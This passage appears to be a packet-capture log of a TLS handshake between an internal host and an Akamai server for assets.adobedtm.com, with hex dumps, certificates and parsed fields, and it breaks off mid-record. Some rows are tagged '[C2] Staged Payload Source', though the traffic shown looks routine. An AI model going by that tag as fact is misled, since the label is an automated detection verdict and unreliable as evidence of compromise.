gmt_unix_time=Sun, 14 Jun 2026 21:22:39  (1781472159) random_bytes=f55e2fadf0fab78c1aa3e391923280948ec1eb61bfcb9a689cc587e4 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=98 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'assets.adobedtm.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:40.637459,5,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1884095052 Ack=2441337842,bc2411360d0cbc24112907bb080045000028eca2400040065020021759530a98980b01bbf9c9704d024c9183dbf25010003ffe270000,\".$.6\n..$.)....E..(..@.@.P ..YS\n.......pM.L....P..?.'..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60578, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20512, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884095052, \"\"ack\"\": 2441337842, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 65063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:41.120385,6,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS > TLS,8,TCP PA Seq=1884095052 Ack=2441337842,bc2411360d0cbc24112907bb080045000e9eeca34000400641a9021759530a98980b01bbf9c9704d024c9183dbf25018003f0c9e00001603030049020000450303c48af5b4bddc7978c8df7a4f55ff7cd98f153055f6465105444f574e4752440100c02c00001dff0100010000000000000b0004030001020023000000050000001700001603030b9c0b000b98000b950006c3308206bf308205a7a0030201020210088419764d2e757b0de43f20409b0890300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3235303632343030303030305a170d3236303732353233353935395a3068310b3009060355040613025553311330110603550408130a43616c69666f726e69613111300f0603550407130853616e204a6f736531133011060355040a130a41646f626520496e632e311c301a060355040313136173736574732e61646f626564746d2e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200044afbdf91b539759d17f2896f88c637a4f01d67ab3f8c6ec0e80849b3c05bc990e23546fd12afcc53c9c2729abab83151d3472e73534c513ba9a72463c18cce40a382043d30820439301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604149994c8de674b0563825cc846f0ad8df972f856ad3081cb0603551d110481c33081c082136173736574732e61646f626564746d2e636f6d821f63646e312d73746167696e672e61646f62657265736f75726365732e6e657482196173736574732e61646f62657265736f75726365732e6e657482216173736574732d73746167696e672e61646f62657265736f75726365732e6e6574821763646e312e61646f62657265736f75726365732e6e65748215636f6d6d657263652e61646f626564746d2e636f6d821a6d6167656e746f2d726563732d73646b2e61646f62652e6e6574303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff040403020388301d0603551d250416301406082b0601050507030106082b0601050507030230819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017e060a2b06010401d6790204020482016e0482016a0168007600d76d7d10d1a7f577c2c7e95fd700bff982c9335a65e1d0b3017317c0c8c5697700000197a356776d0000040300473045022100ba13cdb0191ff2dda7613f7abaa7a2709aad9dcb1d225f285caa90401b88d1cf02204f4cced7a52a563f96e619b5a84a3ea3265604c247ef88fe44872362f1788499007700c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd00000197a35677990000040300483046022100ba0becbb14c6527db1b14357ed59fbcfd99c67a8921e6bc1e8cef99a99eb7b97022100dbe61c5fec37f4caebd7688dfd4867de1e0253641e958279c144db5455387384007500944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d800000197a35677ab000004030046304402204689c9b939bc70f0eb7100247f2ebb036595e5feee06c2a0c12ad3a0cf925a090220136005146ca316af5faab6c9211868852c22a24ee42ac9374af8c78fdecf122c300d06092a864886f70d01010b050003820101009568286c9d10cf14a45fab15a703543efc1863106aa47085e985102f8dd54639c32d186b32b0b7f64002cfedc28a506bf1fa039b3f0c590a9ca8356df9e91fdea22c1de099bc120cdf06d8069913e22db60731146f9bd78bb64cfc16d39f44a66ecd281f52c3c7477a35d12c29e9ce6ddf6d80fad6cbb6ab1d9d34e1cdef10870430d94d31c40896b0c2a6e02b2b5cd822ed23dd0197e9bf07b86059e63d35ef7d802cd3bc54a2455aadbf9c0780ae0867900f72bca9cc27cbbaa1c256a351a17f7fe35f083c6b7e0baff7a1442fb528276737a6982678691b9e211720182b7c3f266f93c6c059cf6b03c0333dc9a1a6207fb5ecf1a9255ba762466f9955cdd80004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631333132303131345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd170210088419764d2e757b0de43f20409b08908000180f32303236303631333131343530305aa011180f32303236303632303130343530305a300d06092a864886f70d01010b05000382010100bd203d73b36c692d09b42ee430d952933dca87d466697d1b3ef73ff517b8f011baef63926f87b315af90f2e31252b1f5c1c0f9517116f90ffa81ea54cb416d92321238cf66a90f05f7c35e2ebde34f0b827ffdbabad86893f5568ebfb6c204ac432f882dce170f0684dd30b72418ee7163c3bf8a18cfd8e8b338fddbbf02bb38a43d1bc2449569870961874301cb95a22cf8b188efb38e317aa99f95b34d5ff4e9384f1bd28fe11d06b604d9671ba40883f390d73218212b419ee4a4f171793bd1eab8487875978780af281efa1b4af4d6fc47039722482071353a5008531cbd8c76be6c3cb266e13cbb1c387fa46255cade9a531d53bb2633e2efce5a49fa5e16030300950c00009103001741044b5a990ceebf3cd6b56b54ce72f73f8b66fc01ee49d721f75289316c00ea06f5df1597108bb44bbcc6d1ff00cf74d4ce7ee9a010bb3479d018b7f38ad5b5b02b040300483046022100dbe0c9624abea3052963c1332f588df28aea291845888224b2d74a34b5d5156a022100ef41913864ea42aac599a2b9f1345b784418d3d2c796ba456d69b006712a1dea16030300040e000000,\".$.6\n..$.)....E.....@.@.A...YS\n.......pM.L....P..?........I...E........yx..zOU.|...0U.FQ.DOWNGRD...,.....................#.........................0...0.............vM.u{\n.? @...0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n250624000000Z.\n260725235959Z0h1.0\t..U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..J....9u....o..7...g.?.n...I..[...5F....S..r...1Q.G.sSLQ;..$c...@...=0..90...U.#..0...t...f..7...)7.......0...U..........gK.c.\\.F....r.V.0....U.....0....assets.adobedtm.com..cdn1-staging.adoberesources.net..assets.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com..magento-recs-sdk.adobe.net0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..~.\n+.....y......n...j.h.v..m}....w..._......3Ze....s....iw.....Vwm.....G0E.!..........a?z...p.....\"\"_(\\..@..... OL...*V?.....J>.&V..G...D.#b.x...w..1~WE..E..8...A...!Z\"\".....v...R......Vw......H0F.!.......R}..CW.Y....g...k.......{..!...._.7....h..Hg...Sd...y.D.TU8s..u..NC........$&..e..._8..?rg}U7........Vw......F0D. F...9.p..q.$....e........*....Z\t. .`..l..._...!.h.,\"\".N.*.7J......,0\n.\t*.H..\n...........h(l....._....T>..c.j.p..../..F9.-.k2...@.....Pk....?.Y\n..5m.....,.............-..1.o....L....D.n.(.R..Gz5.,)..m.m........4......0.M1.......++\\.\"\".#.......`Y.=5.}.,..T.EZ.......g..r...'....V.Q...._.<k~....D/.('g7..&xi..!. .+|?&o...Y.k..3=... .....%[.bFo.U.....0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@................0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260613120114Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7............vM.u{\n.? @.......20260613114500Z....20260620104500Z0\n.\t*.H..\n........... =s.li-\t...0.R.=...fi}.>.?.......c.o........R.....Qq......T.Am.2.8.f.....^...O.......h..V......C/.-......0.$..qc........8.....8.=..D.i.\ta.C....,......1z....M_..8O.........g.......2.!+A....qy;...Hxu....(...J...G..\"\"H q5:P.S...v.l<.f.<..8..bU...S.S.&3...ZI.^............A.KZ....<..kT.r.?.f...I.!.R.1l..........K......t..~....4y........+...H0F.!....bJ...)c.3/X....).E..$..J4...j.!..A.8d.B......4[xD......Emi..q*...........\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3742, \"\"id\"\": 60579, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 16809, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884095052, \"\"ack\"\": 2441337842, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3230, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 73, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=69 version=TLS 1.2 gmt_unix_time=Thu, 28 Jun 2074 19:53:24  (3297441204) random_bytes=bddc7978c8df7a4f55ff7cd98f153055f6465105444f574e47524401 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 comp=null extlen=29 ext=[<TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_ServerName  type=server_name len=0 |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=4 ecpllen=3 ecpl=[uncompressed, ansiX962_compressed_prime, ansiX962_compressed_char2] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_CSR  type=status_request len=0 |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 2972, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSCertificate  msgtype=certificate msglen=2968 certslen=2965 certs=[(1731, [X.509 Cert. Subject:/C=US/ST=California/L=San Jose/O=Adobe Inc./CN=assets.adobedtm.com, Issuer:/C=US/O=DigiCert Inc/CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1]), (1228, [X.509 Cert. Subject:/C=US/O=DigiCert Inc/CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, Issuer:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root G2])] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 479, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSCertificateStatus  msgtype=certificate_status msglen=475 status_type=ocsp responselen=471 response=<OCSP_Response  responseStatus='successful' 0x0 <ASN1_ENUMERATED[0]> responseBytes=<OCSP_ResponseBytes  responseType=<ASN1_OID['basic-response']> tbsResponseData=<OCSP_ResponseData  version=None responderID=<OCSP_ResponderID  responderID=<OCSP_ByKey  byKey=<ASN1_STRING[b't\\\\x85\\\\x80\\\\xc0f\\\\xc7\\\\xdf7\\\\xde\\\\xcf\\\\xbd)7\\\\xaa\\\\x03\\\\x1d\\\\xbe\\\\xed\\\\xcd\\\\x17']> |> |> producedAt=2026-06-13 12:01:14 UTC <ASN1_GENERALIZED_TIME['20260613120114Z']> responses=[<OCSP_SingleResponse  certID=<OCSP_CertID  hashAlgorithm=<X509_AlgorithmIdentifier  algorithm=<ASN1_OID['sha1']> parameters=<ASN1_NULL[0]> |> issuerNameHash=<ASN1_STRING[b'\\\\xa7\\\\xc4\\\\xb8\\\\xb3\\\\xdc[\\\\xb5X\\\\x1e\\\\xa7\\\\xd7\\\\xf1:\\\\xc5i\\\\xf5oH\\\\xd7\\\\x89']> issuerKeyHash=<ASN1_STRING[b't\\\\x85\\\\x80\\\\xc0f\\\\xc7\\\\xdf7\\\\xde\\\\xcf\\\\xbd)7\\\\xaa\\\\x03\\\\x1d\\\\xbe\\\\xed\\\\xcd\\\\x17']> serialNumber=0x88419764d2...20409b0890 <ASN1_INTEGER[1131972358...0716074128]> |> certStatus=<OCSP_CertStatus  certStatus=<OCSP_GoodInfo  info=<ASN1_NULL[0]> |> |> thisUpdate=2026-06-13 11:45:00 UTC <ASN1_GENERALIZED_TIME['20260613114500Z']> nextUpdate=2026-06-20 10:45:00 UTC <ASN1_GENERALIZED_TIME['20260620104500Z']> singleExtensions=None |>] responseExtensions=None |> signatureAlgorithm=<X509_AlgorithmIdentifier  algorithm=<ASN1_OID['sha256WithRSAEncryption']> parameters=<ASN1_NULL[0]> |> signature=<_Raw_ASN1_BIT_STRING[1011110100...1001011110]=b'\\\\xbd =s\\\\xb3li-\\\\t\\\\xb4...\\\\xbb&3\\\\xe2\\\\xef\\\\xceZI\\\\xfa^' (0 unused bit)> certs=None |> |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 149, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerKeyExchange  msgtype=server_key_exchange msglen=145 params=<ServerECDHNamedCurveParams  curve_type=named_curve named_curve=secp256r1 pointlen=65 point=b'\\\\x04KZ\\\\x99\\\\x0c\\\\xee\\\\xbf<\\\\xd6\\\\xb5kT\\\\xcer\\\\xf7?\\\\x8bf\\\\xfc\\\\x01\\\\xeeI\\\\xd7!\\\\xf7R\\\\x891l\\\\x00\\\\xea\\\\x06\\\\xf5\\\\xdf\\\\x15\\\\x97\\\\x10\\\\x8b\\\\xb4K\\\\xbc\\\\xc6\\\\xd1\\\\xff\\\\x00\\\\xcft\\\\xd4\\\\xce~\\\\xe9\\\\xa0\\\\x10\\\\xbb4y\\\\xd0\\\\x18\\\\xb7\\\\xf3\\\\x8a\\\\xd5\\\\xb5\\\\xb0+' |> sig=<_TLSSignature  sig_alg=sha256+ecdsa sig_len=72 sig_val=b'0F\\\\x02!\\\\x00\\\\xdb\\\\xe0\\\\xc9bJ\\\\xbe\\\\xa3\\\\x05)c\\\\xc13/X\\\\x8d\\\\xf2\\\\x8a\\\\xea)\\\\x18E\\\\x88\\\\x82$\\\\xb2\\\\xd7J4\\\\xb5\\\\xd5\\\\x15j\\\\x02!\\\\x00\\\\xefA\\\\x918d\\\\xeaB\\\\xaa\\\\xc5\\\\x99\\\\xa2\\\\xb9\\\\xf14[xD\\\\x18\\\\xd3\\\\xd2\\\\xc7\\\\x96\\\\xbaEmi\\\\xb0\\\\x06q*\\\\x1d\\\\xea' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 4, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHelloDone  msgtype=server_hello_done msglen=0 |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:41.120729,7,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2441337842 Ack=1884098754,bc24112907bbbc2411360d0c0800450000282fb240008006cd100a98980b02175953f9c901bb9183dbf2704d10c250100402c3ba0000,\".$.)...$.6\n...E..(/.@.....\n.....YS........pM..P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12210, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52496, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441337842, \"\"ack\"\": 1884098754, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 50106, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:41.152754,8,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2441337842 Ack=1884098754,bc24112907bbbc2411360d0c0800450000a62fb340008006cc910a98980b02175953f9c901bb9183dbf2704d10c250180402f8e60000160303004610000042410447553620e8cbf3728ac0ad4d4681dcef8bb2ef54d145240b92bdc0e47cc87791ec4e26bdbd31bf5d17dcda440c6ea06a8039ca78fc3333a3b5c20f5e0a321bcc140303000101160303002800000000000000002883d9d82f590538f96ad53edcff4b4c988706bad41d99dc2d59bf779f369077,\"A.GU6 ...r...MF......T.E$.....|.w..N&..1.]...D.n.j.9.x.33....^\n2..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 166, \"\"id\"\": 12211, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52369, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441337842, \"\"ack\"\": 1884098754, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 63718, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 70, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=66 exchkeys=<Raw  load=b'A\\\\x04GU6 \\\\xe8\\\\xcb\\\\xf3r\\\\x8a\\\\xc0\\\\xadMF\\\\x81\\\\xdc\\\\xef\\\\x8b\\\\xb2\\\\xefT\\\\xd1E$\\\\x0b\\\\x92\\\\xbd\\\\xc0\\\\xe4|\\\\xc8w\\\\x91\\\\xecN&\\\\xbd\\\\xbd1\\\\xbf]\\\\x17\\\\xdc\\\\xdaD\\\\x0cn\\\\xa0j\\\\x809\\\\xcax\\\\xfc33\\\\xa3\\\\xb5\\\\xc2\\\\x0f^\\\\n2\\\\x1b\\\\xcc' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": 